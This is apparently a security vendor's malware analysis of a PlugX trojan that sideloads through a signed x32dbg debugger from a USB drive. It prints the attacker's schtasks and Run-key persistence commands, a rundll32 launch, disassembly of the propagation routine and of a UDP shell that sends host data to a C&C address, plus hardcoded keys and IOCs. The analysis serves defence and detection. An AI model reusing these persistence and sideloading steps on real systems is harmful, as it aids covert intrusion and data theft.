

Investigating the PlugX Trojan Disguised as a Legitimate Windows Debugger Tool

 trendmicro.com/en_us/research/23/b/investigating-the-plugx-trojan-disguised-as-a-legitimate-windows.html

February 24, 2023

Signature Verification

- Signed file, valid signature

File Version Information

Copyright x64dbg.com
Product x64dbg
Description x64dbg
File Version 0.0.2.5
Date signed 2019-11-26 04:35:00 UTC

Figure 1. A digitally signed x32dbg.exe

Signers

- + Open Source Developer, Duncan Ogilvie
- + Certum Code Signing CA SHA2
- + Certum Trusted Network CA

(ec5cf913773459da0fd30bb282fb0144b85717aa6ce660e81a0bad24a2f23e15)

Introduction

Trend Micro's Managed Extended Detection and Response (MxDR) team discovered that a file called x32dbg.exe was used (via the DLL Search Order Hijacking or T1574.001 technique) to sideload a malicious DLL we identified as a variant of PlugX (Trojan.Win32.KORPLUG.AJ.enc). This file is a legitimate open-source debugger tool for Windows that is generally used to examine kernel-mode and user-mode code, crash dumps, or CPU registers. Meanwhile, PlugX is a well-known remote access trojan (RAT) that is used to gain remote access to and control over compromised machines. It allows an attacker to obtain unauthorized access to a system, steal sensitive data, and use the compromised machine for malicious purposes. The MxDR team employed a number of advanced security technologies and solutions to gain a comprehensive understanding of the attack, which will be revealed in this report.

Investigating and analyzing the threat with MxDR

Being a legitimate application, x32dbg.exe's valid digital signature can confuse some security tools, enabling threat actors to fly under the radar, maintain persistence, escalate privileges, and bypass file execution restrictions.

The team's attention was first drawn to the command line execution of D:\RECYCLER.BIN\files\x32dbg.exe which was flagged by a VisionOne Workbench alert. Further investigation revealed that this path led to a hidden folder on the USB storage device, which was found to contain a number of threat components.

Summary

File Execution in Recycle Bin
A file located in the Recycle Bin was executed on an endpoint.

Score: 45

Impact scope: 2 users

Created: 2022-11-12 17:41:10

Highlights

File Execution In Recycler.Bin

Technique: T1036 - Masquerading
T1036.005 - Masquerading, Match Legitimate Name or Location

⌚ 2022-11-12 17:38:37 | [View event](#)

📄 (objectFileHashSha1) 2640259fa0039d65225c99...
📄 (objectFilePath) D:\ \RECYCLER.BIN\files\x32d...
🕒 es (objectFilePath)
D:\ \RECYCLER.BIN\files\x32dbg.exe

Figure 2. Workbench model

triggered by the execution of x32dbg.exe

We uncovered a clear sequence of events that began with a suspicious command line execution launched via cmd.exe. The command line executed the file (ec5cf913773459da0fd30bb282fb0144b85717aa6ce660e81a0bad24a2f23e15) located at D:\RECYCLER.BIN\files\x32dbg.exe. The file was signed by "OpenSource Developer, Duncan Ogilvie" issued by Certum Code Signing. A visual representation of these events is displayed in Figure 3.

|

Command Line: "C:\Windows\System32\cmd.exe" /q /c "\ \RECYCLER.BIN\files\x32dbg.exe"

File Path: "D:\ \RECYCLER.BIN\files\x32dbg.exe"

SHA256: ec5cf913773459da0fd30bb282fb0144b85717aa6ce660e81a0bad24a2f23e15

Signer: Open-Source Developer, Duncan Ogilvie




Figure 3. Vision One shows how cmd.exe calls x32dbg.exe from the external/non-system drive

After executing D:\RECYCLER.BIN\files\x32dbg.exe, all of the threat components are copied to the directory C:\ProgramData\Users\Date\Windows_NT\Windows\User\Desktop.

Subsequently, the file C:\ProgramData\UsersDate\Windows_NT\Windows>User\Desktop\x32dbg.exe, a duplicate of the original file, was invoked. The following command line was used to invoke the dropped file:

```
| Command Line: "C:\Windows\System32\cmd.exe" /q /c"
C:\ProgramData\UsersDate\Windows_NT\Windows\User\Desktop\x32dbg.exe"
```

PC > Local Disk (C:) > ProgramData > UsersDate > Windows_NT > Windows > User > Desktop

Name	Type	Size
adobe.dat	DAT File	3 KB
akm.dat	DAT File	28 KB
akm!.dat	DAT File	70 KB
DismCore.dll	Application extension	71 KB
Groza_1.dat	DAT File	101 KB
msvcp120.dll	Application extension	445 KB
msvcr120.dll	Application extension	949 KB
ntuser.dat	DAT File	256 KB
x32bridge.dat	DAT File	125 KB
x32bridge.dll	Application extension	71 KB
x32dbg.exe	Application	53 KB

Figure 4. Files created in

C:\ProgramData\UsersDate\Windows_NT\Windows\User\Desktop

PC > Local Disk (C:) > Users > Public > Public Mediae

Name	Type	Size
adobe.dat	DAT File	3 KB
akm!.dat	DAT File	28 KB
akm.dat	DAT File	70 KB
DismCore.dll	Application extension	71 KB
Groza_1.dat	DAT File	101 KB
Mediae.exe	Application	53 KB
msvcp120.dll	Application extension	445 KB
msvcr120.dll	Application extension	949 KB
ntuser.dat	DAT File	256 KB
x32bridge.dat	DAT File	125 KB
x32bridge.dll	Application extension	71 KB
x32dbg.exe	Application	53 KB

Figure 5. Files created “C:\Users\Public\Public Mediae”




Figure 6. Vision Ones shows how x32dbg.exe copies itself to various directories and renames itself as Mediae.exe

C:\Users\Public\Public Mediae\Mediae.exe followed the same procedure, creating a new directory at C:\Users<username>\Users\ and copying the identical files as shown in Figure 7.

Name	Type	Size
adobe.dat	DAT File	3 KB
akm_l.dat	DAT File	28 KB
akm.dat	DAT File	70 KB
DismCore.dll	Application extension	71 KB
Groza_1.dat	DAT File	101 KB
msvcp120.dll	Application extension	445 KB
msvcr120.dll	Application extension	949 KB
ntuser.dat	DAT File	256 KB
x32bridge.dat	DAT File	125 KB
x32bridge.dll	Application extension	71 KB
x32dbg.exe	Application	53 KB

Figure 7. The same set of files were created in C:\Users\<username>\Users\

<username>\Users\

As a result, a full set of the same files were present in three different directories. This indicated a clear attempt to establish persistence and evade detection by placing copies of the malicious files in multiple locations in the compromised system, specifically:

- C:\ProgramData\UsersDate\Windows_NT\Windows\User\Desktop
- C:\Users\Public\Public Mediae\
- C:\Users\<username>\Users\

Analyzing persistence: how the attacker maintained access

To ensure continued access to the compromised systems, attacker used techniques involving the installation of persistence in the registry, the creation of scheduled tasks to maintain access (even in case of system restarts), the implementation of changes in credentials, and other potential disruptions that could result in lost access.




Figure 8. Persistence

was created in the scheduled task and run registry

We noticed the creation of a scheduled task via the `schtasks` command line utility to run a task at a specific time. In this case, the scheduled task is set to execute the x32dbg.exe file, the open source debugger tool that side loads PlugX, every five minutes. The task is disguised under the name "LKUFORYOU_1" to make it more difficult to detect.

```
| Commandline: schtasks /create /sc minute /mo 5 /tn LKUFORYOU_1 /tr  
C:\ProgramData\UsersDate\Windows_NT\Windows\User\Desktop\x32dbg.exe /f
```

A brief summary of the parameters used:

- /create: This option instructs the utility to create a new scheduled task.
- /sc minute: This option specifies the frequency at which the task will be executed, which in this case is every five minutes.
- /mo 5: This option sets the duration of the frequency for the scheduled task.
- /tn LKUFORYOU_1: This option sets the name of the task as "LKUFORYOU_1".
- /tr C:\ProgramData\UsersDate\Windows_NT\Windows\User\Desktop\x32dbg.exe: This option specifies the path of the executable that will be executed when the task is triggered.
- /f: This option forces the task to be created without requiring user confirmation.




Figure 9. The

schtask utility was used to create persistence in the scheduled task

Further evidence supporting the persistence created by the scheduled task was discovered in the event logs via Event ID 100, which clearly showed the successful execution of the file (depicted in Figure 10).


```
{  
    "EventData":  
    {  
        "InstanceId": "(9F1A976F-8319-48E3-B77E-7027AF1113F9)",  
        "TaskName": "\\\\[LKUFORYOU_1\\",  
        "UserContext": "RUNAS\\GKXOKPQKQHIDP"  
    },  
    "System":  
    {  
        "Channel": "Operational",  
        "Computer": "\\[LKFYUO\\LKFYUO]",  
        "CorrelationActivityID": "(9F1A976F-8319-48E3-B77E-7027AF1113F9)",  
        "CorrelationRelatedActivityID": "(00000000-0000-0000-0000-000000000000)",  
        "EventID": 100,  
        "EventRecordID": 0,  
        "Keywords": 9223372036854775809,  
        "Level": 4,  
        "Opcode": 1,  
        "ProcessID": 2196,  
        "ProviderGuid": "{DE7B24EA-73C8-4A09-985D-5BDADCFA9017}",  
        "ProviderName": "Microsoft-Windows-TaskScheduler",  
        "Security": "",  
        "Task": 100,  
        "ThreadID": 8792,  
        "TimeCreated": 133130436601318906,  
        "Version": 0  
    }  
}  
  
processCmd C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule  
eventSubId 0 - TELEMETRY_NONE  
winEventId 100 - Task started  
channel Operational  
correlationData  
| key: ProcessId  
| value: 2196  
| hashid: -3739957334342534990  
  
endpointGuid 54d1d521-77ed-45b7-bbc4-a728ee28e331  
endpointMacAddress 74:78:27:7d:e2:3d  
54:83:e7:fb:e9:0e  
50:2f:9b:de:f7:d3  
50:2f:9b:de:f7:d7  
  
eventDataTaskName \\LKUFORYOU_1  
eventHashId -7906053236916945609  
eventId 10 - TELEMETRY_WINDOWS_EVENT  
eventSourceType 1
```

Figure 10. VisionOne Windows

event log telemetry for LKUFORYOU

Figure 11 depicts where run registry keys were installed for persistence, and the data associated with them. These registry keys and values enable the threat to maintain persistence by automatically executing the x32dbg.exe file every time the user logs in.

| Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Registry Value Name: x32dbg
Registry Value Data: C:\ProgramData\UsersDate\Windows_NT\Windows\User\Desktop\x32dbg.exe



came from ESX testing)

Figure 11. Persistence in the run registry (this image

Hiding in plain sight: DLL sideloading with x32dbg.exe

We observed x32dbge.exe being used to sideload the PlugX file x32bridge.dll (0490ceace858ff7949b90ab4acf4867878815d2557089c179c9971b2dd0918b9, detected as Trojan.Win32.KORPLUG.AJ). Sideloading can take advantage of the loader's DLL search order by placing the malicious payload(s) and victim program side by side. This process is likely used by malicious actors as a cover for operations carried out within a trusted, legitimate, and maybe elevated system or software process.





Figure 12. x32dbge.exe sideloaded Plug X file

x32bridge.dll (Trojan.Win32.KORPLUG.AJ)

We observed that the file akm.dat (0e9071714a4af0be1f96cffc3b0e58520b827d9e58297cb0e02d97551eca3799, detected as Trojan.Win32.KROPLUG.AJ) was also registered and executed via rundll32, a Windows component which attackers can abuse to facilitate the execution of malicious code. By using rundll32.exe to execute the file, the attackers can prevent security tools from monitoring this activity.

| rundll32 SHELL32.DLL, ShellExec_RunDLL rundll32
C:\ProgramData\UsersDate\Windows_NT\User\Desktop\akm.dat,Start



Figure

13. The file akm.dat was executed via rundll32

Unveiling the tactics used: An in-depth analysis of the threat


Through reverse engineering, we were able to gain a deep understanding of how the threat operates. By analyzing the tactics and techniques used by the attacker, we can identify and prevent similar attacks in the future.

Our analysis of this attack in VisionOne revealed that the threat heavily relied on DLL sideloading, which is a typical behavior of PlugX. However, this variant was unique in that it employed several components to perform various functions, including persistence, propagation, and backdoor communication. As a result, we were able to identify and isolate the different files used by the attacker in their routine.

Persistence and propagation: x32dbg.exe (with the components x32bridge.dll and x32bridge.dat)

The file x32dbg.exe is a legitimate executable of a debugging software which, when executed, imports x32bridge.dll and calls on the functions *BridgeStart* and *BridgelInit*. The attackers took advantage of this and replaced the DLL with their own, containing the same export functions but executing entirely different codes:

- BridgeStart – dummy code that does nothing
- BridgelInit – Loads x32bridge.dat, decrypts its contents, then proceeds with the execution of the decrypted code.



_Figure

14. The structure of x32dbg.exe and x32bridge.dll

The hardcoded key "HELLO_USA_PRISIDENT" is used to decode x32bridge.dat, after which execution will continue on the decrypted code.




Figure 15. Decoding x32bridge.dat using the hardcoded key

It will then check for an event named *LKU_Test_0.1* (or creates it if not found). This is followed by the execution of akm.dat found in the same folder.




Figure 16. Executing akm.dat

Next, it creates the scheduled task *LKUFORYOU_1* to run x32dbg.exe persistently like what was observed in our VisionOne investigation.

It then enumerates all drives and takes note of removable drives for its propagation routine. When found, it will delete files from any existing RECYCLER.BIN folder before creating a new one. It will copy its components that have the file extensions .exe, .dll, and .dat to the newly created folder and add a desktop.ini file.

The screenshot shows two columns of assembly code. The left column is titled "Delete existing RECYCLER.BIN folder" and the right column is titled "Copy exe dll dat". Both columns show code snippets with memory addresses and variable names.

```

Delete existing RECYCLER.BIN folder
0D85 F0FDFFFF lea eax,dword ptr ss:[ebp-210]
FFB5 9CFFFFF push dword ptr ss:[ebp-464]
50 push eax
FF15 50604101 call dword ptr ds:[&_lstrcpyn]
68 F8BB4101 push 141B8F8
8D85 F0FDFFFF lea eax,dword ptr ss:[ebp-210]
50 push eax
FFD7 call edi
8D85 CCFBFFFF lea eax,dword ptr ss:[ebp-434]
50 push eax
0085 F0FDFFFF lea eax,dword ptr ss:[ebp-210]
50 push eax
FFD7 call edi
8D85 F0FDFFFF lea eax,dword ptr ss:[ebp-210]
50 push eax
FF15 38604101 call dword ptr ds:[&DeleteFileW]
6A 01 push 1
FF15 58604101 call dword ptr ds:[&Sleep]
8D85 A0FBFFFF lea eax,dword ptr ss:[ebp-460]

Create desktop.ini file
50 push eax
FF15 34604101 call dword ptr ds:[&CreateFileW]
8BF0 mov esi,eax
83E8 FF cmp byte ptr [esi],FF
74 48 je 1401360
8BCF mov ecx,edi
C785 F0FDFFFF mov dword ptr ss:[ebp-210],0
8D51 02 lea edx,dword ptr ds:[ecx+2]

[eax:L"\desktop.ini"]
[esi:L"\desktop.ini"]
[edi:L"\.ShellClassInfo\r\IconResources"]
[C:\.ShellClassInfo\r\IconResource%systemroot%\system32\SHELL32.dll,7"]

Copy exe dll dat
push eax
call edi
lea eax,dword ptr ss:[esp+680]
push 141BD9C
push eax
call 140AE8F
add esp,8
test eax,eax
je 14031ED
lea eax,dword ptr ss:[esp+680]
push 141BDA4
push eax
call 140AE8F
add esp,8
test eax,eax
je 14031ED
lea eax,dword ptr ss:[esp+680]
push 141BDA4
push eax
call 140AE8F
add esp,8
test eax,eax
je 14031ED
lea eax,dword ptr ss:[esp+680]
push 141BDAC
push eax
push eax
call dword ptr ds:[&CopyFileW]
push eax
call dword ptr ds:[&Sleep]
lea eax,dword ptr ss:[esp+20]
push eax
push ebx
call dword ptr ds:[&FindNextFileW]
test eax,eax

```

Figure 17. Deleting the existing RECYCLER.BIN folder and creating a new one

Next, it will proceed to its installation routine, where it copies all its components to several folders as listed on the VisionOne analysis.

The screenshot shows two columns of assembly code. The left column is titled "Installation folders" and the right column is titled "Blending in with Normal Folders". The right side also shows a file browser interface for the "Public" folder.

```

Installation folders
push BFBBB4
push BFBBC8
push BFBBB4
push BFBBE8
push BFBBE8
lea eax,dword ptr ss:[ebp-414]
push BFBCC4
push eax
call dword ptr ds:[&wprintfw]

Set folder attribute to Hidden | System
jne 1402AF5
push 141BEC
call dword ptr ds:[&GetFileAttributesW]
push 0
push 141BEC
call dword ptr ds:[&CreateDirectoryW]
push 6
push 141BEC
call dword ptr ds:[&SetFileAttributesW]
push 208
lea eax,dword ptr ss:[esp+64]

[BFBBB4:L"\Desktop"]
[BFBBC8:L"\User"]
[BFBBB4:L"\Windows"]
[BFBBE8:L"\Windows_NT"]
[BFBC00:L"C:\ProgramData\UsersDate"]
[BFBC34:L"%$%$%$%$"]

Blending in with Normal Folders
: Users > Public >
Name
Libraries
Public Account Pictures
Public Desktop
Public Documents
Public Downloads
Public Mediae
Public Music
Public Pictures
Public Videos
desktop.ini

```

Figure 18. The installation routine

Once installed, it will run the file Mediae.exe (same file as x32dbg.exe), which will remain in memory, looping through the aforementioned routines.

The screenshot shows assembly code for running Mediae.exe. A callout box on the right provides context for the code's purpose.

```

push eax
lea eax,dword ptr ss:[esp+1C]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax,dword ptr ss:[esp+80]
push eax
push 0
call dword ptr ds:[&CreateProcessW]
call dword ptr ds:[&GetLastError]
mov ecx,dword ptr ss:[esp+884]
non es1

[eax:L"C:\Users\Public\Public Mediae\Mediae.exe"]
[eax:L"C:\Users\Public\Public Mediae\Mediae.exe"]
[eax:L"C:\Users\Public\Public Mediae\Mediae.exe"]

mov edi,dword ptr ds:[&Sleep]
mov esi,321
push FA0
call edi
call 1402930
call 14043E0
sub esi,1
jne 14034E3
push esi
call dword ptr ds:[&ExitProcess]
push eax
call dword ptr ds:[&CloseHandle]
push 0

Sleep
Installation Routine
Infect Removable Drive

```

Figure 19. Running Mediae.exe

Mediae.exe also creates the event LKU_Test_0.2, possibly to signal a successful installation.

```

je 14036B5
push 141BE84
push 0
push 1F0003
call dword ptr ds:[<&OpenEventW>]
mov edi,dword ptr ds:[<&GetLastError>]
mov dword ptr ds:[141F2D0],eax
call edi
mov eax,dword ptr ds:[141F2D0]
test eax, eax
jne 1403500
push 141BE84
push eax
push eax
push eax
call dword ptr ds:[<&CreateEventW>]
mov ebx,dword ptr ds:[<&lstrcmpW>]
mov esi,dword ptr ds:[<&Sleep>]

```

Figure 20. Creating LKU_Test_0.2

As also seen in the VisionOne analysis, the malware checks if it already has an AutoStart registry key (x32dbg), and creates one if there isn't. Note that the execution path may vary depending on where x32dbg.exe / Mediae.exe was executed.

Next stage loader: akm.dat

The file akm.dat is a DLL with a straightforward function — to execute the next phase of the DLL sideloading routine. Its export function Start will execute the file AUG.exe (also included in the previous installation from x32dbg.exe).

```

rea eax,dword ptr ss:[ebp-250]
mov ecx,edx
push eax
push 0
push 0
push 8000000
push 1
push 0
push 0
push 0
lea eax,dword ptr ss:[ebp-244]
and ecx,3
push eax
rep movsb
push 0
call dword ptr ds:[<&CreateProcessA>]
mov ecx,dword ptr ss:[ebp-4]

```

Figure 21. The Start function executing AUG.exe

The backdoor UDP Shell: AUG.exe (with the components DismCore.dll and Groza_1.dat)

AUG.exe is a copy of DISM.EXE, a legitimate Microsoft file which is also vulnerable to DLL sideloading. It imports the function DllGetClassObject from DismCore.dll, which will decrypt the contents of Groza_1.dat using the hardcoded key “Hapenexx is very bad”.

```

HRESULT __stdcall DllGetClassObject(const IID*
{
    HANDLE v3; // esi
    CHAR Name[7]; // [esp+4h] [ebp-44h] BYREF
    char v6[57]; // [esp+Bh] [ebp-3Dh] BYREF

    qmemcpy(Name, "Groza_2", sizeof(Name));
    sub_10002200(v6, 0, 57);
    v3 = OpenEventA(0x1F0003u, 0, Name);
    GetLastError();
    if ( v3 )
    {
        CloseHandle(v3);
        sub_10002CCC();
        JUMPOUT(0x100012BA);
    }
    CreateEventA(0, 0, 0, Name);
    return sub_10001000();
}

```

Figure 22. Decrypting Groza_1.dat using the hardcoded key

The execution will continue on the decrypted code, which is a UDP Shell client that does the following:

- Collects host information such as the hostname, IP Address and Mac address and sends it to its command-and-control (C&C) server 160[.]20[.]147[.]254
- Creates a thread to continuously wait for C&C commands
- Decrypts C&C communication using the hardcoded key “Happiness is a way station between too much and too little.”
- Hardcoded Debug Info found in file: C:\Users\guss\Desktop\Recent Work\UDP SHELL\0.7 DLL\UPDPDLL\Release\UPDPDLL.pdb

```

add esp,4
push 10019188
call dword ptr ds:[<&gethostname>]
test eax,eax
je 100017E5
mov eax,dword ptr ds:[eax+C]
mov eax,dword ptr ds:[eax]
push dword ptr ds:[eax]
call dword ptr ds:[<&net_ntoa>]
test eax,eax
je 10001896
xor ecx,ecx
cmp byte ptr ds:[eax],cl
je 10001887
nop dword ptr ds:[eax],eax
inc ecx
cmp byte ptr ds:[ecx+eax],0
jne 10001880
push ecx
push eax
push 10019178
call 1000F300
add esp,C
mov ecx,1001928C
call 10001410
lea eax,dword ptr ss:[esp+C]
push eax
push 0
push 0
push 10001520
push 0
push 0
call dword ptr ds:[<&CreateThread>]

push esi
mov esi,dword ptr ds:[<&Sleep>]
push edi
mov edi,dword ptr ds:[<&recvfrom>]
mov dword ptr ss:[esp+C],10
push 100196D0
call dword ptr ds:[<&WriteFile>]
push 0
lea eax,dword ptr ss:[esp+C]
push eax
push 2
push 1001649C
push dword ptr ds:[100196D0]
call dword ptr ds:[<&WriteFile>]
push 1

```

10019188: "DESKTOP-H9T46T5"
 10019178: "192.168.211.129"
 1001928C: "00-0C-29-E5-DF-FB"
 1001649C: "\r\n"

```

push 100164A0
mov word ptr ds:[10019286],ax
call dword ptr ds:[<&inet_addr>]
push 104
push 10019188
mov dword ptr ds:[10019288],eax
call dword ptr ds:[<&gethostname>]
cmp eax,FFFFFF
je 100017E5
xor eax,eax
inc eax
cmp byte ptr ds:[eax+100164B0],0
jne 10001840
push eax
call 100019C0
add esp,4
push 10019188
call dword ptr ds:[<&gethostname>]
test eax,eax

```

100164A0: "160.20.147.254"
 eax+100164B0: "ppiness is a way station between too much and too little."

23. The UDP shell client

Conclusion and Recommendations

The discovery and analysis of the malware attack using the open-source debugger tool x32dbg.exe shows us that DLL side loading is still used by threat actors today because it is an effective way to circumvent security measures and gain control of a target system. Despite advances in security technology, attackers continue to use this technique since it exploits a fundamental trust in legitimate applications. This technique will remain viable for attackers to deliver malware and gain access to sensitive information as long as systems and applications continue to trust and load dynamic libraries.

This incident highlights the importance of having a strong and robust cybersecurity system in place, as threat actors continue to find new ways to exploit vulnerabilities and launch sophisticated attacks. [Trend Micro Managed Extended Detection and Response \(MxDR\)](#) helps in the prevention of DLL sideloading attacks by taking a comprehensive approach to detecting, investigating, and responding to security incidents.

[Trend XDR](#) integrates a variety of security technologies, such as endpoint protection, network security, and cloud security, to provide a comprehensive picture of an organization's security posture. This enables MxDR to detect and prevent DLL sideloading attacks by detecting and blocking malicious activity at various stages of the attack lifecycle before it can cause harm. Furthermore, XDR can perform in-depth analysis and investigation of security incidents, allowing organizations to understand the impact and scope of an attack and respond appropriately.

Figure

Here are some recommendations that IT administrators can put into place to prevent DLL side loading attacks:

- **Implement whitelisting:** Allow only known and trusted applications to run on the system while blocking any suspicious or unknown ones.
- **Use signed code:** Ensure that all DLLs are signed with a trusted digital signature to ensure their authenticity and integrity.
- **Monitor and control application execution:** Monitor and control the execution of applications and their dependencies, including DLLs, to detect and prevent malicious activities.
- **Educate end users:** Inform users about the dangers of DLL sideloading attacks and encourage them to exercise caution when installing or running unfamiliar software.
- **Endpoint protection:** Use endpoint protection solutions that offer behavioral analysis and predictive machine learning for better security capabilities
- **Implement effective incident response plans:** Establish a clear and well-defined incident response plan to detect, contain, and respond to security incidents as quickly as possible.

Indicators of Compromise

File name	SHA256	Detection name
x32dbg.exe	ec5cf913773459da0fd30bb282fb0144b85717aa6ce660e81a0bad24a2f23e15	Legitimate Windows debugger
x32bridge.dll	0490ceace858ff7949b90ab4acf4867878815d2557089c179c9971b2dd0918b9	Trojan.Win32.KORPLUG.AJ
akm.dat	0e9071714a4af0be1f96cffc3b0e58520b827d9e58297cb0e02d97551eca3799	Trojan.Win32.KORPLUG.AJ
x32bridge.dat	e72e49dc1d95efabc2c12c46df373173f2e20dab715caf58b1be9ca41ec0e172	Trojan.Win32.KORPLUG.AJ.enc
DismCore.dll	b4f1cae6622cd459388294afb418cb0af7a5cb82f367933e57ab8c1fb0a8a8a7	Trojan.Win32.KORPLUG.AJ
Groza_1.dat	553ff37a1eb7e8dc226a83fa143d6aab8a305771bf0cec7b94f4202dcd1f55b2	Trojan.Win32.KORPLUG.AJ.enc

IP address / URL	Description
160[.]20[.]147[.]254	C&C Server